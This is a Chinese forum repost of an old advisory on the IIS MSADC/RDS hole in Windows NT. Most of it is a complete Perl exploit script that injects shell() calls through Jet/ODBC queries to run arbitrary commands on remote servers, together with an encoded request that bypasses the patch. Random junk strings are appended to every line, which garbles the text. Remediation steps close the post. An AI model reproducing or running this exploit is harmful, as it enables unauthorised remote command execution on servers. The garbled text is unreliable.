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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) /N./l4D1K-  
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涉及程序: "{~^EQq,  
Microsoft NT server r CUs  
;rnhv:Iw  
描述: 0fV}n:4Pq  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 R[m+s=+  
d*@K5?O.  
详细: ^$rqyWZYp  
如果你没有时间读详细内容的话,就删除: &k`lb kq  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }b{7+ + Ah  
有关的安全问题就没有了。 KR%NgV+}!0  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ZK<c(,oZ^  
i@%a!].I  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 f>Tn#OW  
关于利用ODBC远程漏洞的描述,请参看: >yLdrf  
1].m4vC  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `+0P0(bn  
U_UN& /f  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 zOy_qozk  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp zP|^@Homk  
bY~V?yNgKM  
这里不再论述。 vJX0c\e  
e Dpt1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T]\'D&P~D  
],'"iVh  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {Z>Mnw"R  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %P C[-(Q  
DJ1!Xuu  
:1v.Jk  
#将下面这段保存为txt文件,然后: "perl -x 文件名" bJw{U.  
B f.- 5  
#!perl FyChH7  
# tK 6=F63e  
# MSADC/RDS 'usage' (aka exploit) script =t.T9'{  
# g ?@fHFct  
# by rain.forest.puppy '<6DLtZl  
# @S&QxE^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me xgvwH?<  
# beta test and find errors! Bt(nm> Ng  
^bLFY9hSC  
use Socket; use Getopt::Std; yMpZ-b$*~  
getopts("e:vd:h:XR", \%args); 0aJcX)  
K :>O X  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; EQ>@K-R  
p ^)3p5w  
if (!defined $args{h} && !defined $args{R}) { N).'>  
print qq~ w/9%C(w6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } lnK#q .]  
-h <host> = host you want to scan (ip or domain) a/[)A _-  
-d <seconds> = delay between calls, default 1 second Sf2xI'  
-X = dump Index Server path table, if available 7}pg7EF3z  
-v = verbose  _ Ewkb  
-e = external dictionary file for step 5 {/qQ=$t  
k[y^7, r  
Or a -R will resume a command session |FSp`P  
y<c7RK]  
~; exit;} Mt@Ma ]!  
2G_]Y8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; B#3Q4c$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {+EnJ"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} F?qg?1v B|  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,E"n7*6mr  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 1Vs>G  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8d&%H,  
D2RvFlAXu  
if (!defined $args{R}){ $ret = &has_msadc; bV+2U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} M(n@ytz  
N*)O_Ki  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" NPDMv |4  
. "cmd /c "; ,wngS=  
$in=<STDIN>; chomp $in; LCuz_LTFq{  
$command="cmd /c " . $in ; ]zn3nhBI  
R \]C;@J<  
if (defined $args{R}) {&load; exit;} lbC,*U^  
Mh {>#Gs  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3 rR1/\  
&try_btcustmr; <,X=M6$0n  
45OAJ?N  
print "\nStep 2: Trying to make our own DSN..."; s'bTP(wl9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ,sT5TS q  
#w:nj1{_  
print "\nStep 3: Trying known DSNs..."; {d.K)8\  
&known_dsn; A2 $05a$%  
}F|B'[wn  
print "\nStep 4: Trying known .mdbs..."; whm| "}x)u  
&known_mdb; 0 ZSn r+  
7k00lKA\w  
if (defined $args{e}){ cwzgIm+  
print "\nStep 5: Trying dictionary of DSN names..."; h\Q@zR*0a  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } |kTq &^$  
_]{LjJ!M  
print "Sorry Charley...maybe next time?\n"; NK'@.=$  
exit; JoZS p"R  
f>|<5zm#<  
############################################################################## >]o>iOz;]  
d8U<V<H<  
sub sendraw { # ripped and modded from whisker 'sE["eC  
sleep($delay); # it's a DoS on the server! At least on mine... ?'tRu !~  
my ($pstr)=@_; A(n#k&W1fZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *z.rOY= 8  
die("Socket problems\n"); {s@ 0<!  
if(connect(S,pack "SnA4x8",2,80,$target)){ L\t_zf_0  
select(S); $|=1; i% , 't  
print $pstr; my @in=<S>; ZOpKi:\  
select(STDOUT); close(S); `zB bB^\`W  
return @in; DIJmISk  
} else { die("Can't connect...\n"); }} ayQeT  
[rL 8L6,!  
############################################################################## /Z,hQ>/  
\9uK^oS  
sub make_header { # make the HTTP request 7B\Q5fLQ  
my $msadc=<<EOT FCWk8/  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 =;E0PB_w  
User-Agent: ACTIVEDATA UEhFId  
Host: $ip )[|_q,  
Content-Length: $clen YD0hDp  
Connection: Keep-Alive W/}_y8q  
\ 9iiS(e  
ADCClientVersion:01.06 g"(@+\XZH"  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 V!>j: "  
t\TxK7i  
--!ADM!ROX!YOUR!WORLD! M&<qGV$A  
Content-Type: application/x-varg =p"ma83  
Content-Length: $reqlen |\/\FK]?]  
{cb<9Fii  
EOT t`R{N1  
; $msadc=~s/\n/\r\n/g; xplV6q`  
return $msadc;} 8FZC0j.^DH  
N u\<Xr8  
############################################################################## kytHOn#  
d3S Me  
sub make_req { # make the RDS request 72.Msnn  
my ($switch, $p1, $p2)=@_; D.|r [c  
my $req=""; my $t1, $t2, $query, $dsn; |lg jI!iK  
oveK;\7/m  
if ($switch==1){ # this is the btcustmr.mdb query ~P"Agpx3u  
$query="Select * from Customers where City=" . make_shell(); nc\2A>f`  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . BG= J8  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} R/*"N'nH-%  
41s\^'^&  
elsif ($switch==2){ # this is general make table query TA2ETvz^  
$query="create table AZZ (B int, C varchar(10))"; MGxkqy?  
$dsn="$p1";} 'Cz*p,  
<lWj-+m  
elsif ($switch==3){ # this is general exploit table query ?6hd(^  
$query="select * from AZZ where C=" . make_shell(); ]!@=2kG4  
$dsn="$p1";} @rDBK] V  
G%;>_E  
elsif ($switch==4){ # attempt to hork file info from index server 5]upfC6  
$query="select path from scope()"; C"B'Dj  
$dsn="Provider=MSIDXS;";} VB#&`]r do  
k?TZY|_  
elsif ($switch==5){ # bad query R=<::2_Y96  
$query="select"; i$Kx@,O8t  
$dsn="$p1";} o3GkTn O  
aq8./^  
$t1= make_unicode($query);  -gS9I^  
$t2= make_unicode($dsn); ,(zV~-:9  
$req = "\x02\x00\x03\x00"; +,AzxP _y  
$req.= "\x08\x00" . pack ("S1", length($t1)); U B~ -$\.  
$req.= "\x00\x00" . $t1 ; _q4O2Fx0  
$req.= "\x08\x00" . pack ("S1", length($t2)); oz)4YBf  
$req.= "\x00\x00" . $t2 ; mH0OW  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; dcD#!v\0  
return $req;} wy tMoG\  
b1jDbiH&  
############################################################################## .%e>>U>F  
Z"_8 l3  
sub make_shell { # this makes the shell() statement cs*E9  
return "'|shell(\"$command\")|'";}  C=@4U}  
!ehjLFS?_  
############################################################################## p9u*l  
qHdUnW  
sub make_unicode { # quick little function to convert to unicode qlYi:uygY  
my ($in)=@_; my $out; .m l\z5  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } GD]epr%V  
return $out;} B5vLV@>]  
,=4,eCS  
############################################################################## KN`k+!@/7  
8IQ}%|lN  
sub rdo_success { # checks for RDO return success (this is kludge) g3&nxZ  
my (@in) = @_; my $base=content_start(@in); :r hB=  
if($in[$base]=~/multipart\/mixed/){ ng9e)lU~*b  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  Fpn*]x  
return 0;} ![\P/1p  
yq[/9PciA  
############################################################################## `y^\c#k  
G dNhEv  
sub make_dsn { # this makes a DSN for us VrP{U-`  
my @drives=("c","d","e","f"); `'<$N<!  
print "\nMaking DSN: "; Fj~suZ`  
foreach $drive (@drives) { {}k3nJfE  
print "$drive: "; R2a99#J  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1.3dy]vG  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" dhLR#m30T  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;<Hk Cd  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 6',Hs  
return 0 if $2 eq "404"; # not found/doesn't exist J( XDwt  
if($2 eq "200") { =Q<7[  
foreach $line (@results) { @W/k}<07  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} rC_1f3A  
} return 0;} vr4r,[B6y  
?2~fvMWu  
############################################################################## lW-h @  
m!w|~ Rk  
sub verify_exists { d/OP+yzgZ  
my ($page)=@_; 0{z8pNrc  
my @results=sendraw("GET $page HTTP/1.0\n\n"); MJ?t{=  
return $results[0];} !(?7V  
Sv/P:r _  
############################################################################## NWFh<  
X5/fy"g&  
sub try_btcustmr { CE96e y  
my @drives=("c","d","e","f"); 2{~`q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ph6'(,  
L+%kibnY'  
foreach $dir (@dirs) { x cAs}y}  
print "$dir -> "; # fun status so you can see progress ydO+=R0M  
foreach $drive (@drives) { lCp6UkE  
print "$drive: "; # ditto QR"+fzOL  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; }vU/]0@,E  
$reqlenlen=length( "$reqlen" ); 1-? i*C  
$clen= 206 + $reqlenlen + $reqlen; YFJaf"?8g  
c:.5@eq^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <Qih&P9;>  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 9|<Li[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} d;l%XZe  
grgs r_)[  
############################################################################## dGOFSH  
hDB(y4/  
sub odbc_error { PbZ%[F  
my (@in)=@_; my $base; T})q/oUqK  
my $base = content_start(@in); NN'pBU R  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Bh=t%#y|`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K)>F03=uE  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4PxP*j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; : H;S"D  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~8nR3ki  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~%=%5}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . vi^YtA  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} oc] C+l  
oX:&;KA  
############################################################################## <lIm==U<-  
uoE+:,P  
sub verbose { @H#Fzoo.  
my ($in)=@_; vb>F)po1}  
return if !$verbose; , v} )  
print STDOUT "\n$in\n";} 4w ,&#L  
su=MMr>  
############################################################################## r&a} U6k(y  
~HGSA(  
sub save { W|fE]RY  
my ($p1, $p2, $p3, $p4)=@_; O DN_i  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3>7{Q_5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Pd&KAu|<`  
close OUT;} TPBQfp%HU  
.qohHJ&  
############################################################################## q7KHx b  
Q?1.GuF  
sub load { H*k\C  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :n13v @q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "$(D7yFO  
@p=<IN>; close(IN); 4_VgJ9@  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "Y:>^F;  
$target= inet_aton($ip) || die("inet_aton problems"); };rp25i  
print "Resuming to $ip ..."; x1g-@{8]j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; z{ eZsh b  
if($p[1]==1) { aE)1LP  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; # A4WFZ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ($<&H>j0  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,^e2ma|z  
if (rdo_success(@results)){print "Success!\n";} /_J{JGp9  
else { print "failed\n"; verbose(odbc_error(@results));}} DTA$,1JuD  
elsif ($p[1]==3){ am? k  
if(run_query("$p[3]")){ 0/DO"pnL@  
print "Success!\n";} else { print "failed\n"; }} 6BA$v-VVU  
elsif ($p[1]==4){ C=oeRc'r1W  
if(run_query($drvst . "$p[3]")){ 1SS1P0Ur  
print "Success!\n"; } else { print "failed\n"; }} ,rN$ah$CL  
exit;} e?;c9]XO,o  
QlB9m2XB  
############################################################################## /"`hz6rIv  
_/Ve~( "  
sub create_table { [g}#R#Y)  
my ($in)=@_; ^#e|^]] L  
$reqlen=length( make_req(2,$in,"") ) - 28; V-(]L:[JQ  
$reqlenlen=length( "$reqlen" );  yI|x 5f  
$clen= 206 + $reqlenlen + $reqlen; 'vt Jl  
my @results=sendraw(make_header() . make_req(2,$in,"")); T$0)un  
return 1 if rdo_success(@results); 2dHO!A$RF  
my $temp= odbc_error(@results); verbose($temp); 0sw;h.VY  
return 1 if $temp=~/Table 'AZZ' already exists/; $2*_7_Qb  
return 0;} )P9]/y  
TtrO_D  
############################################################################## /8]K}yvR  
xC9?rLUZ  
sub known_dsn { `'iO+/;GY  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go AfO.D ?4x  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^zT=qB l  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", j|[$P4w}U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 3 []ltN_  
*iru>F8r:  
foreach $dSn (@dsns) { aJ=)5%$6kc  
print "."; z"|jCdZGM  
next if (!is_access("DSN=$dSn")); ddl]! ^IK  
if(create_table("DSN=$dSn")){ l%Ke>9C  
print "$dSn successful\n"; 6:}n}q,V  
if(run_query("DSN=$dSn")){ v]@ XyF\j8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 'tkQz  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U:7w8$_  
HhCFAq"j  
############################################################################## qB@N|Bb  
POl-S<QV  
sub is_access { QhTn9S:D  
my ($in)=@_; {I0!q"sF  
$reqlen=length( make_req(5,$in,"") ) - 28; .EWjeVq  
$reqlenlen=length( "$reqlen" ); 3TjyKB *!  
$clen= 206 + $reqlenlen + $reqlen; Q: -&  
my @results=sendraw(make_header() . make_req(5,$in,"")); f:P;_/cJc  
my $temp= odbc_error(@results); b(U5n"cdA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); h*<`ct xL  
return 0;} $Sy}im\H  
2 7dS.6  
############################################################################## >\'}&oi  
3zfpFgD!  
sub run_query { !W&|kvT^  
my ($in)=@_; &'PLOyWw  
$reqlen=length( make_req(3,$in,"") ) - 28; Kn1u1@&Xd  
$reqlenlen=length( "$reqlen" ); J<"Z6 '0v  
$clen= 206 + $reqlenlen + $reqlen; 8* m,#   
my @results=sendraw(make_header() . make_req(3,$in,"")); H9BqE+  
return 1 if rdo_success(@results); suaP'0  
my $temp= odbc_error(@results); verbose($temp); ;rF:$37^  
return 0;} kS7T'[d  
FUPJ&7+B  
############################################################################## Ox/va]e7"  
7xT<|3 I  
sub known_mdb { 'Uo:b<  
my @drives=("c","d","e","f","g"); ,%m$_wA$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p7O4CP>9[  
my $dir, $drive, $mdb; 1hp@.Fv  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =WP}RZ{S  
}W%}_UT  
# this is sparse, because I don't know of many Md m(xUs  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {la ^useg[  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", C[$<7Mi|;  
"\\system32\\certmdb.mdb", BQ&h&57K  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 5O%}.}n  
IPE(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ae1fCw3k  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7,LT4wYH  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <$9AP  
"\\cfusion\\cfapps\\security\\realm_.mdb", -XY]WWlq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bmddh2  
"\\cfusion\\database\\cfexamples.mdb", f%auz4CZz  
"\\cfusion\\database\\cfsnippets.mdb", CGg6nCB  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ~d5{Q?T)  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ->#7_W  
"\\cfusion\\brighttiger\\database\\cleam.mdb", O "h+i>|l  
"\\cfusion\\database\\smpolicy.mdb", p0YTZS ]h  
"\\cfusion\\database\cypress.mdb", *'t`;m~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", wLUmRo56aR  
"\\website\\cgi-win\\dbsample.mdb", @',;/j80  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", P?uKDON  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" <*5D0q#~"  
); #these are just u})JQ<|  
foreach $drive (@drives) { O@Kr}8^,  
foreach $dir (@dirs){ dX3> j{_  
foreach $mdb (@sysmdbs) { Cw2+@7?|  
print "."; `4p9K  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ BPOWo8TqD^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; xX>448=  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ -T(V6&'Qi  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Zj^H3 h  
} else { print "Something's borked. Use verbose next time\n"; }}}}} e O}mZN  
QBo^{],  
foreach $drive (@drives) { liB>~DVC  
foreach $mdb (@mdbs) { !%(B2J  
print "."; +]_} \  
if(create_table($drv . $drive . $dir . $mdb)){ %?$"oWmenS  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1wM p3  
if(run_query($drv . $drive . $dir . $mdb)){ Q'Tn+}B&  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Mt:(w;Y  
} else { print "Something's borked. Use verbose next time\n"; }}}} vNt2s)J$  
} jHZ<G c  
']NM_0  
############################################################################## MG@19R2s  
`jkn*:m  
sub hork_idx { _B[(/wY  
print "\nAttempting to dump Index Server tables...\n"; 0.5_,an3  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ] 7O?c=  
$reqlen=length( make_req(4,"","") ) - 28; sOW|TN>y\  
$reqlenlen=length( "$reqlen" ); RPWYm  
$clen= 206 + $reqlenlen + $reqlen; .PxM #;i2  
my @results=sendraw2(make_header() . make_req(4,"","")); /P%:u0fX,  
if (rdo_success(@results)){ StVv"YY  
my $max=@results; my $c; my %d; 3WY W])  
for($c=19; $c<$max; $c++){ >4E,_`3N  
$results[$c]=~s/\x00//g; '$VR_N\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (65p/$Vh  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; z=U!D `]v  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \4[Ta,;t  
$d{"$1$2"}="";} %Z? o]  
foreach $c (keys %d){ print "$c\n"; } y()( 8L  
} else {print "Index server doesn't seem to be installed.\n"; }} A0ToX) |C  
Z0=OR^HjA  
############################################################################## ao!r6:&v$e  
#rwR)9iC0  
sub dsn_dict { G dU W$.  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >R<fm  
while(<IN>){ Vmc)or*#  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `vSsgG  
next if (!is_access("DSN=$dSn")); ccSSa u5N  
if(create_table("DSN=$dSn")){ ^xwFjQXx  
print "$dSn successful\n"; Xn=fLb(  
if(run_query("DSN=$dSn")){ I .ty-X]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2'U9!. o  
print "Something's borked. Use verbose next time\n";}}} ,Mc 2dhq  
print "\n"; close(IN);} Q:\hh=^  
jlBCu(.,_  
############################################################################## fLAF/#\2  
ULjzhy+(8  
sub sendraw2 { # ripped and modded from whisker ? h%+2  
sleep($delay); # it's a DoS on the server! At least on mine... Kc0OLcu^d  
my ($pstr)=@_; s|'L0` <B  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M jTKM;  
die("Socket problems\n"); 3D0I5LF&  
if(connect(S,pack "SnA4x8",2,80,$target)){ &?6w 2[}  
print "Connected. Getting data"; #Au&2_O  
open(OUT,">raw.out"); my @in; ~tvoR&{I  
select(S); $|=1; print $pstr; U^&Cvxc[[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} l0{DnQA>I  
close(OUT); select(STDOUT); close(S); return @in; o=QF>\ \  
} else { die("Can't connect...\n"); }} ,be?GAq  
ZZ*k3Ce  
############################################################################## w ZAXfNA  
#+0 R!Y  
sub content_start { # this will take in the server headers p%1m&/ `F  
my (@in)=@_; my $c; bobkT|s^s  
for ($c=1;$c<500;$c++) { su;S)yZb  
if($in[$c] =~/^\x0d\x0a/){ CaBS0' n  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /g''-yT7#  
else { return $c+1; }}} [i7)E]*oTA  
return -1;} # it should never get here actually sEyl\GL  
qhtAtP>i"  
############################################################################## ^^l"brPa  
YWrY{6M  
sub funky { wt S*w  
my (@in)=@_; my $error=odbc_error(@in); {C6;$#7P  
if($error=~/ADO could not find the specified provider/){ 79g>7<vp  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \r,. hUp  
exit;} 98'XSL|  
if($error=~/A Handler is required/){ $]JIA|  
print "\nServer has custom handler filters (they most likely are patched)\n"; .6o y>4  
exit;} N06O.bji  
if($error=~/specified Handler has denied Access/){ :-" jK w  
print "\nServer has custom handler filters (they most likely are patched)\n"; y/hvH"f  
exit;}} = [os<+  
JBAK*g  
############################################################################## %MZDm&f>Kk  
<|Eby!KXR  
sub has_msadc { F{~r7y;0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); }IkEyJsk  
my $base=content_start(@results); l(\8c><m  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^Jl!WH=20}  
return 0;} SliQwm5  
LE80`t>M#  
######################## L00 ;rTs>  
xh^ZI6L<  
LY:?OGh  
解决方案: [3sxzU!t~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll rRrW   
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 &G|jzXE  
w$[Ds  
拿出来充数 哈哈
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